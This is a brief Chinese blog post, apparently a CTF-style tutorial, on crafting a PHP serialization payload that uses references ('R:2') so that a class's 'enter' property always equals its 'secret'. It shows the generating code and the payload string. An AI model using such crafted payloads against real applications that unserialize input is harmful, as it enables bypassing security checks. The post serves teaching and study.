介绍
根据php 引用的特性构造序列化漏洞
示例
<?php
class just4fun {
var $enter;
var $secret;
}
$hxdyjx = new just4fun();
$hxdyjx->enter = &$hxdyjx->secret;
echo serialize($hxdyjx);
构造
<?php
class just4fun {
var $enter;
var $secret;
}
$hxdyjx = new just4fun();
$hxdyjx->enter = &$hxdyjx->secret;
echo serialize($hxdyjx);
payload
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
解析下R2 是怎么生成的
<?php
class just4fun {
var $hxdyjx1 = 'xxx';
var $secret;
var $enter;
var $hxdyjx2 = 'xxx';
}
$hxdyjx = new just4fun();
$hxdyjx->enter = &$hxdyjx->secret;
echo serialize($hxdyjx);
// O:8:"just4fun":4:{s:7:"hxdyjx1";s:3:"xxx";s:6:"secret";N;s:5:"enter";R:3;s:7:"hxdyjx2";s:3:"xxx";}
标签:hxdyjx,PHP,serialize,echo,漏洞,secret,enter,序列化
From: https://www.cnblogs.com/hxdyjx/p/18075591